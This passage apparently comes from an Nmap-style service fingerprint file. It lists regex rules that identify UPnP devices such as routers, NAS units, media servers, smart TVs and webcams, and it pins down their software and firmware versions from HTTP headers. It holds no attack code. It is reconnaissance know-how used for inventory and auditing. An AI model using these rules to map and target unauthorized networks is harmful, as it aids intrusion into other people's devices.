cpe:/o:apple:mac_os_x/a + +match upnp m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/ReadyNAS\r\n|s p/FUPPES UPnP media server/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/([^\r\n]+)\r\n|s p/FUPPES UPnP media server/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: FreeBSD/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/([^\r\n]+)\r\n|s p/FUPPES UPnP media server/ v/$3/ i/FreeBSD $1; UPnP $2/ o/FreeBSD/ cpe:/o:freebsd:freebsd:$1/ + +match upnp m|^HTTP/1\.1 500 Internal Server Error\r\nSERVER: ipOS/([\d.]+) UPnP/([\d.]+) ipUPnP/([\d.]+)\r\n| p/ipOS upnpd/ i/D-Link WAP dynamic DNS; UPnP $2; ipUPnP $3/ d/WAP/ o/ipOS $1/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.1 400 Bad Request\r\nSERVER: ipOS/([\d.]+) UPnP/([\d.]+) ipGENADevice/([\d.]+)\r\n| p/ipOS upnpd/ i/D-Link DGL-4300 gaming router; UPnP $2; ipGENADevice $3/ d/broadband router/ o/ipOS $1/ cpe:/h:d-link:dgl-4300/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) +UPnP/([\d.]+) (?:ADSL2\+ (?:Modem )?Router )?(T[DL]-\w+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/TP-LINK $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:tp-link:$3/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) +UPnP/([\d.]+) (RNX-\w+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/Rosewill $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:rosewill:$3/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) UPnP/([\d.]+) Archer[ _]([^/]+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/TP-Link Archer $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:tp-link:a$3/ cpe:/o:ubicom:ipos:$1/ + +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux/([\w._+-]+), UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux, UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$2/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/ +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux/([\w._+-]+) UPnP/([\d.]+) DLNADOC/([\d.]+) Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/Linux $1; DLNADOC $3; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux/([\w._+-]+) DLNADOC/([\d.]+) UPnP/([\d.]+) MiniDLNA/([\w._-]+)\r\n|s p/MiniDLNA/ v/$4/ i/Linux $1; DLNADOC $2; UPnP $3/ o/Linux/ cpe:/a:minidlna:minidlna:$4/a cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nSERVER: ([\w._-]+\.7601) 2/Service Pack (\d+), UPnP/([\w._-]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/UPnP $3/ o/Windows 7 SP$2 build $1/ cpe:/o:microsoft:windows_7/a +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ([56]\.[\d. ]+)/, UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$3/ i/Windows $1; UPnP $2/ o/Windows/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ([56]\.[\d. ]+)/Service Pack (\d+), UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/Windows $1 (SP$2); UPnP $3/ o/Windows/ cpe:/o:microsoft:windows/a + +match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([-+\w_.]+), UPnP/([\d.]+), Intel SDK for UPnP devices ?/([\w._~-]+)\r\n|s p/Intel UPnP reference SDK/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([-+\w_.]+) UPnP/([\d.]+) DLNADOC/([\w._-]+) Intel_SDK_for_UPnP_devices/([\w._~-]+)\r\n|s p/Intel UPnP reference SDK/ v/$4/ i/Linux $1; UPnP $2; DLNADOC $3/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux, UPnP/([\d.]+), Intel SDK for UPnP devices ?/([\w._~-]+)\r\n| p/Intel UPnP reference SDK/ v/$2/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Darwin/([\w._+-]+), UPnP/([\w._-]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Intel UPnP reference SDK/ v/$3/ i/Mac OS X $1; UPnP $2/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Windows2000/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/Philips Intel UPnP SDK/ v/$2/ i/Philips Smart TV; UPnP $1; DLNADOC $3/ d/media device/ +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux([\d.]+)/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/Philips Intel UPnP SDK/ v/$3/ i/Philips Smart TV; UPnP $2; DLNADOC $4/ d/media device/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Windows2000/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) \r\n| p/Philips Intel UPnP SDK/ v/$2/ i/Philips Smart TV; UPnP $1/ d/media device/ +match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux([\d.]+)/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) \r\n| p/Philips Intel UPnP SDK/ v/$3/ i/Philips Smart TV; UPnP $2/ d/media device/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a + +match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?CONTENT-TYPE: text/xml\r\nContent-Length: .*Xbox 360.*(\w+)|s p/Xbox 360 XML UPnP/ i/Serial number $1/ d/game console/ o/Xbox 360/ cpe:/h:microsoft:xbox_360_kernel/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nConnection: close\r\nServer: Microsoft-Windows-NT/(\d[-.\w]+) UPnP/(\d[-.\w]+) UPnP-Device-Host/(\d[-.\w]+)\r\n| p/Microsoft Windows UPnP/ v/$2/ i/UPnP Device Host: $3/ o/Windows NT $1/ cpe:/o:microsoft:windows_nt:$1/ +match upnp m=^HTTP/1\.1 200 .*\r\nSERVER: Linux/((2\.[46]\.\d+|\d\.\d+)\S*), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n=s p/MediaTomb UPnP/ v/$4/ i/Linux $1; UPnP $3/ o/Linux/ cpe:/o:linux:linux_kernel:$2/ +match upnp m|^HTTP/1\.1 200 (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Darwin/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/Darwin $1; UPnP $2/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: FreeBSD/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/FreeBSD $1; UPnP $2/ o/FreeBSD/ cpe:/o:freebsd:freebsd:$1/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: OpenBSD/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/OpenBSD $1; UPnP $2/ o/OpenBSD/ cpe:/o:openbsd:openbsd:$1/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: SunOS/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/SunOS $1; UPnP $2/ o/Solaris/ cpe:/o:sun:sunos:$1/ +#TODO make sure the * version doesn't come after \r\n + +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ cpe:/a:packetvideo:twonky/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ cpe:/a:packetvideo:twonky/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/([\w._-]+), UPnP/([\w._-]+), TwonkyVision UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux $1; UPnP $2; SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; Twonky SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ +match upnp m=^HTTP/1\.1 \d\d\d .*Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n.*(?:TwonkyMedia|TwonkyMedia server media browser|TwonkyVision Configuration)=s p/TwonkyMedia UPnP/ i/Linux $1; UPnP $2; pvConnect SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n.*MediaServer Restriced Access|s p/TwonkyMedia UPnP/ i/Iomega Home Media NAS device; Linux $1; UPnP $2; pvConnect SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X.X; UPnP $1; pvConnect SDK $2; SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Digest realm=\"([\w._-]+)\", nonce=\"\w+\", algorigthm=MD5, qop=\"auth\" \n.*Server: *Linux/2\.x\.x, UPnP/([\d.]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux; UPnP $2; pvConnect SDK $3; SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X.X; UPnP $1; pvConnect SDK $2/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Windows NT/[\w._-]+, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ o/Windows NT/ cpe:/a:packetvideo:twonky/ cpe:/o:microsoft:windows_nt/ +match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"([\w._-]+)\"\n.*Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X; UPnP $2; pvConnect SDK $3; SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"([\w._-]+)\"\n.*Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux $2; UPnP $3; pvConnect SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$2/a + +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nContent-Type: text/xml; charset=\"UTF-8\"\r\nServer: Orb Media Server, WINDOWS, UPnP/([\w._-]+), Intel MicroStack/([\w._-]+)\r\n| p/Orb Media Server UPnP/ i/UPnP $1; Intel MicroStack $2/ o/Windows/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml;charset="utf-8"\r\nServer: WINDOWS, UPnP/([\d.]+), Intel MicroStack/([\w._-]+)\r\n| p/Intel MicroStack upnpd/ v/$2/ i/UPnP $1/ o/Windows/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: OpenWRT/kamikaze UPnP/([\w._-]+) miniupnpd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/OpenWrt Kamikaze; UPnP $1/ d/broadband router/ o/Linux/ cpe:/a:miniupnp_project:miniupnpd:$2/a cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: neufbox UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/Neuf Box router; UPnP $1/ d/router/ cpe:/a:miniupnp_project:miniupnpd:$2/a +match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: DrayTek/Vigor(\w+) UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$3/ i/DrayTek Vigor $1 router; UPnP $2/ d/router/ cpe:/a:miniupnp_project:miniupnpd:$3/a cpe:/h:draytek:vigor_$1/a +match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: OpenWRT/OpenWrt UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/OpenWrt; UPnP $1/ d/broadband router/ cpe:/a:miniupnp_project:miniupnpd:$2/a +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Roku UPnP/([\d.]+) MiniUPnPd/([\d.]+)\r\n| p/MiniUPnP/ v/$2/ i/Roku; UPnP $1/ d/media device/ cpe:/a:miniupnp_project:miniupnpd:$2/a +match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux,([\w._-]+),UPnP/([\w._-]+),Coherence UPnP framework,([\w._-]+)\r\n|s p/Coherence UPnP framework/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/a +match upnp m|^HTTP/1\.[01] 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: Netgem/([\d.]+) \(NeufboxTV UPnPServer\)\r\n|s p/Netgem UPnP/ v/$1/ i/Neuf Box TV/ d/media device/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: WINDOWS, UPnP/([\d.]+), Intel MicroStack/([\d.]+)\r\n.*(DMS-[\d.]+).*([\w._-]+): MediaServer.*Wistron.*WiDMS|s p/Intel MicroStack UPnP/ v/$2/ i/Wistron Digital Media Server $3; UPnP $1/ o/Windows/ h/$4/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.1 40[04] .*\r\nServer: Linux, UPnP/([\d.]+), (DIR-[\w+]+) Ver ([\w._-]+)\r\n| p/D-Link $2 WAP UPnP/ v/$3/ i/UPnP $1/ d/WAP/ o/Linux/ cpe:/h:d-link:$2/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: FAST Router (\w+) Router, UPnP/([\w.]+)\r\n| p/FAST $1 router UPnP $2/ d/router/ +match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([\w._-]+) UPnP/([\w._-]+) myigd/([\w._-]+)\r\n|s p/myigd/ v/$3/ i/Linksys WAG354G router; Linux $1; UPnP $2/ d/WAP/ o/Linux/ cpe:/h:linksys:wag354g/a cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([\w._-]+), UPnP/([\w._-]+), Everest/([\w._-]+)\r\n|s p/Everest/ v/$3/ i/Pelco Spectra Mini IP webcam; Linux $1; UPnP $2/ d/webcam/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 404 Bad Request\r\nCONTENT-LENGTH: 0\r\nCONTENT-TYPE: text/html\r\n\r\n$| p/SuperMicro IPMI UPnP/ cpe:/o:supermicro:intelligent_platform_management_firmware/ +match upnp m|^HTTP/1\.1 404 Not Found\r\nDate: .*\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Virata-EmWeb/([-.\w]+)\r\n| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/ReplayTV UPnP; UPnP $1/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: RomPager/([\w.]+) UPnP/([\w.]+)\r\n\r\n\n.*ZyXEL Prestige Router|s p/Allegro RomPager/ v/$1/ i/ZyXEL Prestige router UPnP; UPnP $2/ d/router/ cpe:/a:allegro:rompager:$1/ +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: NT/([\d.]+) UPnP/([\d.]+)\r\nDate: .*\r\nContent-type: text/html\r\n\r\n\r\n\r\nHotBrick Load Balancer ([-\w_.]+)\r\n| p/NT httpd/ v/$1/ i/HotBrick Load Balancer $3 UPnP; UPnP $2/ d/load balancer/ +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: NT/([\d.]+) UPnP/([\d.]+)\r\nDate: .*\r\nContent-type: text/html\r\n\r\n\r\n\r\nHotBrick Firewall VPN ([-\w_./]+)| p/NT httpd/ v/$1/ i/HotBrick Firewall VPN $3 UPnP; UPnP $2/ d/firewall/ +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nContent-Length: .*\r\n\r\nActiontec\n|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/ActionTec DSL UPnP; UPnP $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\nADSL VPN Firewall Router| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 741GE ADSL router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a cpe:/h:billion:741ge/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\n\nADSL Configuration Page\n| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Telewell 715 DSL router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a cpe:/h:telewell:715/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDATE: .*\r\nConnection: Keep-Alive\r\nServer: LINUX/([\d.]+) UPnP/([\d.]+) BRCM400/([\d.]+)\r\n| p|Belkin/Linksys wireless router UPnP| i/UPnP $2; BRCM400 $3/ d/router/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\n.*CopperJet ([-\w+/.]+) Router VoATM|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/CopperJet $3 VoATM router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\n.*\nWireless ADSL VPN Firewall Router\n|s p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion BIPAC-743GE V1 ADSL WAP UPnP; UPnP $1/ d/WAP/ +match upnp m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Nucleus/([\d.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nLocation: http://[\d.]+/hag/pages/home\.htm\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i|Huawei/Intracom ADSL router UPnP; UPnP $2; Nucleus $1| d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/0\.0 UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\nADSL -modem/firewall/switch/WLAN -AP\n| p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Telewell TW-EA2000 ADSL modem UPnP; UPnP $1/ d/WAP/ +match upnp m|^HTTP/1\.1 \d\d\d Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Siemens ([\w._ -]+) Router|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Siemens $3 router UPnP; UPnP $1/ d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:siemens:$3/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Zoom - USB Endpoint.*Zoom DSL Modem Web-Console|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Zoom A6 ADSL modem UPnP; UPnP $1/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:zoom:a6/a +match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Unknown/0\.0 UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nWWW-Authenticate: Basic realm=\"WebAdmin\"\r\n\r\n\n\n\n\n\n\n\nAuthentication failed\n\n\n\n\n| p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Xavi 7768r WAP UPnP; UPnP $1/ d/WAP/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/0\.0 UPnP/([\d.]+) Web Server\r\n.*MT882 ADSL Router|s p/Huawei SmartAX MT882 ADSL router UPnP/ i/UPnP $1/ d/broadband router/ cpe:/h:huawei:smartax_mt882/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Nucleus/([-\w_.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nWWW-Authenticate: Basic realm=\"MT882\"\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Huawei SmartAX MT882 ADSL router UPnP; UPnP $2; Nucleus $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a cpe:/h:huawei:smartax_mt882/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Nucleus/([\d.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nWWW-Authenticate: Basic realm=\"Viking\"\r\n\r\n401 Unauthorized\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Viking router UPnP; UPnP $2; Nucleus $1/ d/router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*VoIP/802\.11g ADSL2\+ Firewall Router\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i|Billion ADSL/WAP/VoIP router UPnP; UPnP $1| d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\nHuawei xDSL\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i|Huawei ADSL/WAP/VoIP router UPnP; UPnP $1| d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*VoIP/802\.11g ADSL2\+ Firewall Router|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 800VGT ADSL router UPnP; UPnP $1/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:billion:800vgt/a +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/0\.0 UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\n.*Wireless ADSL Router Control Panel|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Eminent EM4104 WAP UPnP; UPnP $1/ d/WAP/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ISOS/([-\w_.]+) UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Scarlet One|s p/Conexant-EmWeb/ v/$SUBST(3,"_",".")/ i/Scarlet One UPnP; UPnP $2; ISOS $1/ d/VoIP adapter/ cpe:/a:conexant:emweb:$SUBST(3,"_",".")/a +match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: ISOS/([-\w_.]+) UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n| 